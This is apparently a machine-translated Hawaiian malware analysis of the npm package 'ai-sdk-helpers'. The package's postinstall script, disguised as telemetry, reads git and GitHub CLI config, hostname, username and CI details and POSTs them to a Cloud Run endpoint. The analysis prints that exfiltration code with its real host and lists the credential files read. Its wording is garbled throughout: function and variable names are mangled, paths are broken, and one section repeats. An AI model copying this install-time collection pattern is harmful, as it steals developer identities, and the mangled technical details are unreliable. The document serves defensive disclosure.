Aku; DR
He pūʻolo npm hoʻokahi, nā mea kōkua ai-sdk, hōʻike iā ia iho ma ke ʻano he pahu hana hana no ka Vercel AI SDK, e hāʻawi ana i ka nānā ʻana i nā kumukūʻai, ka hāʻawi ʻana i ka mea hoʻolako, a me nā mea kōkua kahe.
Ke wehe nei kāna palapala hoʻouka manawa me kahi hae hōʻike i hoʻopili ʻia e wehewehe ana nā hōʻailona maʻamau ʻole, e hoʻohiki ana ʻaʻole e hoʻouna ʻia kekahi code kumu, hōʻailona, a i ʻole nā palapala hōʻoia, e hoʻohanohano ana i kahi DO_NOT_TRACK koho ʻole, a me ka loulou ʻana i kahi ʻaoʻao kulekele telemetry.
A laila heluhelu ka palapala like i ka ʻike git o ka mea hoʻomohala, ka hoʻonohonoho GitHub CLI, ka inoa kikowaena mīkini, ka inoa inoa OS, ka papa kuhikuhi hana, a me ka mea lawelawe CI.
Hoʻouna ʻia kēlā ʻikepili ma ke ʻano he JSON i kahi endpoint Google Cloud Run, e hana ana i kahi kūlike ʻole ma waena o ke kulekele telemetry i ʻōlelo ʻia a me nā kahua maoli i hōʻiliʻili ʻia.
Ua paʻi ʻia ka pūʻolo i iwakāluakūmālua mau mana i loko o hoʻokahi pahū 83 kekona, a ua like ka script hoʻonohonoho me byte-no-byte ma kēlā me kēia mana i hōʻailona ʻia.
ʻEhiku o nā mana ʻewalu i loiloi ʻia e kā mākou pipeline ua helu ʻia he kū ʻole i ka hopena e ka mea hoʻokaʻawale ML no ka mea ua heluhelu ʻia ke kaila ʻae-hae e like me ka telemetry kūpono.
Hoʻokaʻawale mākou ai-sdk-helpers e like me ka ʻino ma muli o ka hōʻiliʻili ʻike mea hoʻomohala i ka manawa hoʻonohonoho a me ka exfiltration.
ʻO ke koʻikoʻi: kiʻekiʻe.
ʻAnatomy o ke kau ʻana
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } ma hope o ke kau ʻana holo aunoa ma ka npm hoʻokomo, ma mua o ka lawe ʻia ʻana mai o kekahi o nā code i hoʻolaha ʻia o ka pūʻolo. ʻO ke script nā palapala/postinstall.js ʻo ia kahi e noho ai nā hana a pau i ka manawa hoʻouka.
Wehe ʻia me kahi poloka manaʻo a me kahi leka hoʻomaopopo runtime i kākau ʻia ma ka papa inoa o kahi papahana open-source e noʻonoʻo ana i ka pilikino:
>Ke hoʻokomo ʻoe i nā ai-sdk-helpers, holo mākou i kahi nānā kūpono wikiwiki i ke kaiapuni a hōʻike i nā diagnostics inoa ʻole… He inoa ʻole piha ka ʻikepili - hōʻiliʻili mākou i kāu kahua, ka mana Node, a me kahi hash hoʻokahi ala o kāu mea hōʻike mīkini. ʻAʻohe code kumu, nā hōʻailona, a i ʻole nā hōʻoia e hoʻouna ʻia.
Hoʻopili pū ia i kahi puka koho ʻole e hana ana, ʻo ke code hoʻokō mua i loko o ka faila:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } ʻo ke kau ʻana i kēia puka ma mua ka mea e heluhelu ai ke koena ma ke ʻano he ʻaelike: he mea hoʻomohala nāna e hoʻonohonoho `D_ʻAʻOLE_E HOLOʻI` Hoʻopau mālie ka hoʻonohonoho ʻana a hoʻopau i ka pūʻolo e hoʻohanohano i ka ʻaha kūkā. He ʻoiaʻiʻo ka koho ʻole hanohano. ʻO ka mea e puka mai ana, no nā mea a pau i hoʻonohonoho ʻole, ʻo ia ka hōʻiliʻili i wehewehe ʻia ma lalo nei - ʻaʻole ka "kahua, mana Node, a me kahi hash hoʻokahi ala" i kapa ʻia e ka leka hoʻomaopopo.
Ma lalo o kēlā puka, hōʻuluʻulu ka palapala i kahi ukana e hala ana ma mua o kēlā wehewehe.
- *Gʻike pilikino.* rhoʻoholoScmʻIke()` nā poʻo `~.gitconfig`,`~.config/git/config`,a me ka papahana o kēia manawa `.ia/config`,kālailai i ka `[lawelawe ʻāpana, a hoʻihoʻi i ka mea i hoʻonohonoho ʻia commit leka uila. Inā ʻaʻohe faila hoʻonohonoho e hāʻawi i kahi leka uila, e hoʻi ia i ka `GʻO T_AUTHOR_LEKA UILA`,`GT_COMMITTER_EMAIL`,a me ʻEAIL` nā loli kaiapuni. Hoʻonohonoho kahi docstring ma luna o ka hana i ka heluhelu ma ke ʻano he ala "e wehe i nā hoʻonohonoho ma waena o nā mīkini nona ka mea like (e laʻa me ka kamepiula lawe + CI)" - kahi kumu i ʻōlelo ʻia e koi ana i kahi mea hōʻike paʻa no kēlā me kēia mea hoʻomohala, kahi a commit nā lako leka uila.
- *Gmoʻokāki tHub.* rhoʻoponoponoGitHubIdentity()` nā poʻo `~.config/gh/hosts.yml` a me `~.config/gh/hosts.yaml` ka faila hoʻonohonoho i kākau ʻia e ka GitHub CLI ke hōʻoia ka mea hoʻomohala - a regex-extracts i ka `uʻeā:` a me kaʻeha:` nā kahua. Mālama pū kēlā faila i ka hōʻailona GitHub OAuth; kuhikuhi pololei ka regex o ka script i ka inoa inoa a me nā laina leka uila a ʻaʻole ia e unuhi i ka hōʻailona. No laila, ʻo ka ʻōlelo a ka hae hōʻike "ʻaʻohe hōʻailona ... i hoʻouna ʻia" he ʻoiaʻiʻo maoli no kēlā kahua hoʻokahi ʻoiai e heluhelu ʻia a hoʻouna ʻia nā mea hōʻike moʻokāki a puni.
- *Hmanamana lima st a me CI.* a laila hōʻiliʻili ke kākau ʻana i ka `o.inoa kikowaena()`,`o.userInfo().inoa mea hoʻohana`,ka mana Node, ka paepae a me ke kuhikuhipuʻuone, `pocess.cwd()`,a me kahi lepili CI-provider i hoʻoholo ʻia ma ka nānā ʻana i nā loli kaiapuni no nā mea hoʻolako ʻewalu (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite, a me ʻelua mau hae generic-CI). Heluhelu ʻia ka papa inoa mea hoʻolako ma ke ʻano he papa inoa o kahi e manaʻo ai ka script e hoʻokō - nā pūpū interactive a me ke kūkulu automated pipelines like.
Hoʻohui ʻia kēia mau mea a pau i loko o hoʻokahi `dka poʻe agnostics bject, me nā kahua no kēlā me kēia mea hoʻomohala i hōʻiliʻili ʻia ma lalo o kahi `imea ey a me ka ʻikepili kikowaena ma lalo o `rmanawa nd `ckikokikona eys, a laila hoʻonohonoho ʻia a hoʻouna ʻia:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); Ua hoʻolei ʻia ka pane a ua moni ʻia nā hewa āpau - ua ʻōlelo kahi manaʻo "ʻaʻole pono e uhaki ka telemetry i ka hoʻonohonoho." Hoʻopili ka inoa kikowaena endpoint i kahi lawelawe Google Cloud Run ma ka `ekaula-komohana1` ʻāpana.
ʻO ka hakahaka ka moʻolelo. Ua kapa ka hae i ʻekolu mau ʻano o ka ʻikepili - kahua, mana Node, hash identifier mīkini. Hoʻouna ka ukana i ka git maoli a ka mea hoʻomohala. commit leka uila, ko lākou inoa inoa GitHub a me ka leka uila, ko lākou inoa kikowaena mīkini a me ka inoa moʻokāki OS, ko lākou ala papahana, a me ko lākou kaiapuni CI. ʻO nā kahua e kuhikuhi ana i kahi *pʻo rson a me kā lākou mau moʻokāki* e pili pono ana i nā kahua i kāpae ʻia e ka hōʻike ʻana.
Hoʻoikaika ka README i ke kiʻi ʻana mai kēlā ʻaoʻao. ʻO kāna ʻāpana "Telemetry" e hana hou ana i ka ʻōlelo anonymity a hoʻopili i ka huaʻōlelo `D_ʻAʻOLE_E HOLOʻI` o `cnsoledonottrack.com`,ka ʻaoʻao kaiāulu maoli e palapala ana i ka ʻaha kūkā koho-ʻole - ke hōʻaiʻē nei i kahi pilikino i ʻike ʻia standard e heluhelu ʻia ka leka hoʻomaopopo e like me ka hana maʻamau.
'alemanaka
He ʻike pūʻolo hoʻokahi kēia me kahi mōʻaukala hoʻopuka pōkole loa a paʻa loa. ʻAʻohe arc hoʻolaha he nui nā pule e hahai ai - ua hoʻokuke ʻia ka laulā mana holoʻokoʻa i ka wikiwiki o ka mīkini.
| I ka manawa (UTC) | hanana |
|---|---|
| 2026-06-03 20:31:20 | Mana mua (0.1.0) i paʻi ʻia i ka npm. |
| 2026-06-03 20:31:20 – 20:32:43 | Nā mana 22 a pau (0.1.0 ma 1.4.2) i paʻi ʻia ma kahi pahū hana aunoa he 83 kekona. |
| 2026-06-04 | ʻEwalu mau mana i hōʻailona ʻia e nā hōʻailona ʻike; hōʻoia ka loiloi lima i ka hōʻiliʻili ʻike manawa hoʻokomo a me ka exfiltration. Ua noho ola ka pūʻolo ma npm i ka manawa o ka loiloi. |
ʻO ka puka makani 83 kekona ma waena o 22 mau mana semantic he hōʻailona hana ia iho: ke alapiʻi mana (`01.0`,`01.1`,… `14.2`)hōʻike i ka ʻili o kahi papahana i mālama pono ʻia me kahi mōʻaukala hoʻokuʻu, i hana ʻia ma hoʻokahi holo scripted. ʻAʻole loli ka script install ma kēlā alapiʻi - e nānā ma lalo.
Nā hōʻailona o ka ʻaelike
Ua like ka ukana manawa hoʻouka ma waena o ka laulā mana i paʻi ʻia. He `dff` f `sripts/postinstall.js` ma waena o ka mana `02.1` a me ka mana `14.2` ʻaʻole hoʻihoʻi mai i nā ʻokoʻa; hoʻokahi manamana lima paʻa ke ʻano, ʻaʻole kahi ukana e ulu nei.
Leakaʻaʻike
ʻO ka puka makani 83 kekona ma waena o 22 mau mana semantic he hōʻailona hana ia iho: ke alapiʻi mana (`01.0`,`01.1`,… `14.2`)hōʻike i ka ʻili o kahi papahana i mālama pono ʻia me kahi mōʻaukala hoʻokuʻu, i hana ʻia ma hoʻokahi holo scripted. ʻAʻole loli ka script install ma kēlā alapiʻi - e nānā ma lalo.
Nā hōʻailona o ka ʻaelike
Ua like ka ukana manawa hoʻouka ma waena o ka laulā mana i paʻi ʻia. He `dff` f `sripts/postinstall.js` ma waena o ka mana `02.1` a me ka mana `14.2` ʻaʻole hoʻihoʻi mai i nā ʻokoʻa; hoʻokahi manamana lima paʻa ke ʻano, ʻaʻole kahi ukana e ulu nei.
Leakaʻaʻike
| anakahi | a Ma¯noa |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | ʻO ka hopena exfiltration e loaʻa ana i nā noi HTTPS POST me nā ukana JSON. Hoʻokipa ʻia ma Google Cloud Run ma ka europe-west1 māhele 'āina. |
ʻOihana hoʻopunipuni
| anakahi | a Ma¯noa |
|---|---|
ai-sdk.guide | ʻAoʻao home pūʻolo a me ke kahua ola e kākoʻo ana i ka ʻike mea kākau "AI SDK Guide". |
ai-sdk.guide/telemetry | Ua kuhikuhi ʻia ka URL kulekele Telemetry ma ka hoʻolaha hōʻike manawa hoʻouka. |
hello@ai-sdk.guide | Ua haʻi ʻia ka leka uila a ka mea kākau ma package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Waihona kumu i haʻi ʻia e ka pūʻolo. |
Heluhelu ʻia nā faila i ka manawa hoʻokomo
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[lawelawe Mail
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` ʻO GitHub CLI ʻoeʻeā `eʻeha
Nā pūlima hana
- – m `phoʻokomo e kāhea ana i kahi palapala Node i hoʻopili ʻia
- – puka koho ʻole (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_ʻAʻOLE_E HOLOʻI`)hōʻike ʻia ma ke ʻano he hiʻohiʻona pilikino, ma mua o ka hōʻiliʻili ʻike
- - tbound HTTPS POST o kahi mea JSON e loaʻa ana ka leka uila git, ka ʻike GitHub, ka inoa kikowaena, ka inoa inoa OS, cwd, a me ka lepili CI
- - ka palapala hoʻonohonoho like-like ma kahi alapiʻi mana i paʻi wikiwiki ʻia
Ka Hoʻoili a me ke ʻAno i Nānā ʻia
ʻAʻohe mea a mākou e hoʻoili aku ai ma mua o ka mea i hoʻopaʻa ʻia e ka pūʻolo a me ka metadata hoʻopaʻa inoa.
ʻO ka mea mālama moʻolelo npm ka moʻokāki `aʻIelsimon`,me ka helu wahi ʻo `aiel@vigilance.security`.Ua papa inoa ka papa inoa i kēlā leka uila me he mea lā ʻaʻole i hōʻoia ʻia a ʻo ka ʻike kumu o ka moʻokāki me he mea lā ʻaʻole i hōʻoia ʻia. ʻO ka `pckage.json`,ma ke ʻano ʻokoʻa, hōʻike i ka mea kākau ma ke ʻano he "AI SDK Guide`ello@ai-sdk.guide>`”me kahi ʻaoʻao home o `a-sdk.alakaʻi a me kahi waihona kumu ma lalo o kahi `gʻO ka hui thub.com/ai-sdk-guide`. ʻO ke kikowaena leka uila o ka moʻokāki hoʻopuka (`vigilance.security`)a me ka ʻike o ka mea kākau i loko o ka pūʻolo (`a-sdk.guide`)he mau kikowaena like ʻole.
ʻO ka ʻa-sdk.alakaʻi ke ola nei ka ite a pane mai, a me ka `/elemetry hoʻoholo ʻo ath - kākoʻo ʻia ka ʻike decoy e kahi alo pūnaewele hiki ke hiki aku ma mua o kahi loulou make, kahi e hoʻokiʻekiʻe ai i ka manaʻoʻiʻo o ka hoʻokumu ʻana o ka pūʻolo.
**Mana i ʻike ʻia.** I ka manawa hoʻokomo, heluhelu ka pūʻolo i ka ʻike o ka mea hoʻomohala a me nā faila hoʻonohonoho moʻokāki, ʻike i nā manamana lima o ke kikowaena a me ke kaiapuni CI, a hoʻouna i ka hopena i kahi hopena i kāohi ʻia e ka mea hoʻohana, me ka hōʻike ʻana i kahi leka hoʻomaopopo e wehewehe ana i kahi ʻikepili ʻoi aku ka haiki a me ka inoa ʻole. Hōʻike mākou i kēia ʻano; ʻaʻole mākou e hōʻoia i kahi kumu no ia. Pono nā mea heluhelu e loiloi ana i ka pūʻolo - me kekahi ʻaoʻao e ʻike ana i ka ʻike paʻi - e kaupaona i ka kūlike ʻole i ʻike ʻia ma waena o nā kahe ʻikepili i ʻōlelo ʻia a me ka ʻikepili maoli.
Ka hopena, nā ʻano, a me ke alakaʻi no nā mea pale
ʻO wai ka mea i hōʻike ʻia. ʻO kēlā me kēia mea nāna e hoʻouka nā mea kōkua ai-sdk — pololei a i ʻole ma ke ʻano he hilinaʻi transitive — holo i ka hōʻiliʻili ma kēlā mīkini. No ka mea, ʻo ke kumu hoʻāla ma hope o ke kau ʻana, ʻaʻole pono e lawe ʻia mai ke code waihona puke i hoʻolaha ʻia no ke kahe ʻana o ka ʻikepili; ua lawa ka hoʻonohonoho wale nō. ʻO nā wahi waiwai kiʻekiʻe loa he mau kahua hana hoʻomohala me kahi ʻike git i hoʻonohonoho ʻia a me kahi GitHub CLI i hōʻoia ʻia, a me nā mea holo CI, kahi e hōʻike ai ka ʻike ʻana o ka mea hoʻolako CI o ka script e manaʻo ʻia e holo ka hōʻiliʻili i loko o ke kūkulu ʻana. pipelinea me nā kamepiula lawe lima.
ʻO ka mea e hōʻike ai. ʻAʻole nā mea huna o ka noi ma ka hihia maʻamau - ke kikowaena o ka ukana paha, ka ': ka mea hoʻomohala commit leka uila, kā lākou inoa moʻokāki GitHub a me ka leka uila, ka mīkini a me nā inoa moʻokāki, a me ke ala papahana. He mea mua kēlāciska palapala ʻāina o ka mea nāna i hoʻokomo i ka pūʻolo, ma ka mīkini hea, ma ka waihona hea, a ma lalo o ka ʻōnaehana CI hea. No kahi hui, ʻo kahi lima o ia mau moʻolelo i lawe pū ʻia e helu i nā ʻenekinia a me nā ʻōnaehana kūkulu i huki i ka hilinaʻi - he mea pono ma ke ʻano he mea mua i ka hana hahai i kuhikuhi ʻia, ʻoiai ʻo ka hana ponoʻī o kēia pūʻolo e pau i ka hōʻiliʻili a me ka hoʻouna ʻana.
ʻO ke au: telemetry ma ke ʻano he uhi. ʻO nā mea hana hoʻomohala kūpono e hōʻiliʻili i nā diagnostics hoʻonohonoho i kapa ʻole ʻia, a me nā kuʻuna no ka hana ʻana me ka mahalo - he leka hoʻomaopopo, a MAI_HAʻI_HOʻI ʻike nui ʻia ka hanohano, kahi hae koho ʻole, kahi URL kulekele. nā mea kōkua ai-sdk hana hou i kēlā mau ʻaha kūkā ʻehā a pau me ka ʻoiaʻiʻo a hoʻohana iā lākou ma ke ʻano he ʻōwili no ka hōʻiliʻili ʻike. ʻO ke alo o kahi hae ʻae, kahi koho ʻole e hana ana, a i ʻole kahi loulou kulekele pilikino ʻaʻole ia he hōʻike e hilinaʻi ʻia kahi pūʻolo; he pipiʻi ke hoʻohālike ʻana i kēlā mau mana. ʻO ka nānā hilinaʻi wale nō ka mea a ke code e heluhelu ai a me kahi e hoʻouna maoli ai.
Loaʻa i kēia ʻōpala kahi hopena hiki ke ana ʻia ma ka triage automated. Ma nā mana āpau o kā mākou pipeline ua loiloi ʻia, ua helu ʻia nā manaʻo maʻalahi o ka script hoʻonohonoho, nā inoa kahua i hoʻonohonoho ʻia, a me ka puka koho haʻalele maʻamau ma ke ʻano he telemetry maʻamau: ʻehiku o nā ʻewalu i hoʻi mai ke kuhihewa mai ka mea hoʻokaʻawale ML ma mua o ka ʻino. ʻAʻole i loko o ka prose ka hōʻailona e hoʻoponopono ai i ka maopopo ʻole - aia ia i loko o nā faila kikoʻī e wehe ai ka script (~/.gitconfig, ~/.config/gh/hosts.yml) a me kahi e hoʻouna ʻia ai. ʻO kahi mea loiloi, hana ʻakomi a kanaka paha, nāna e heluhelu i ka hōʻike a kū ma laila e hiki i ka hopena hewa; pono e hele mai ka hoʻoholo ʻana mai nā ʻoiaʻiʻo o ke kahe ʻikepili.
Nā kuhikuhi no nā mea pale:
- E hoʻouka me nā palapala i hoʻopau ʻia ma ka paʻamau — npm install –ignore-scripts, a hoʻonoho paha nā palapala-hoʻowahāwahā=ʻoiaʻiʻo in .npmrc a holo i nā ʻanuʻu kūkulu i nānā pono ʻia. Hoʻopau kēia i nā ma hope o ke kau ʻana-hoʻoulu ʻia ka hōʻiliʻili ma ka papa holoʻokoʻa.
- Mai mālama i nā kaohi opt-out ma ke ʻano he mau hōʻailona hilinaʻi. MAI_HAʻI_HOʻI ʻAʻole e haʻi aku kahi loulou "kulekele telemetry" iā ʻoe e pili ana i ka ʻikepili a kahi palapala e hōʻiliʻili ai ke hoʻonohonoho ʻole ʻia ka puka.
- E heluhelu i ka makau hoʻonohonoho ma mua o ka hoʻohana ʻana i nā pūʻolo kōkua AI-ecosystem. ʻO ka wahi Vercel AI SDK kahi pahuhopu e neʻe wikiwiki ana a hilinaʻi nui ʻia; he ma hope o ke kau ʻana ka mea e pā ana ~/.gitconfig or ~/.config/gh/ he hōʻailona maopopo me ka nānā ʻole i ke ʻano o ke kākau ʻana o nā manaʻo a puni.
- E nānā i ka puka ʻana i waho i ka manawa kūkulu. He HTTPS POST i waho i ka wā npm hoʻokomo, ʻoi aku hoʻi i kahi hopena hana ao i hoʻolako hou ʻia, hiki ke ʻike ʻia ma ka papa pūnaewele a he wahi ʻike ikaika ia no nā wahi CI.
- E makaʻala i nā alapiʻi mana i hoʻopaʻa ʻia. ʻO kahi pūʻolo nona ka mōʻaukala mana-mana holoʻokoʻa e ʻike ʻia i loko o kekona, me kahi palapala hoʻonohonoho e loli mau ana, e hōʻike ana i kahi mōʻaukala mālama i hana ʻia.





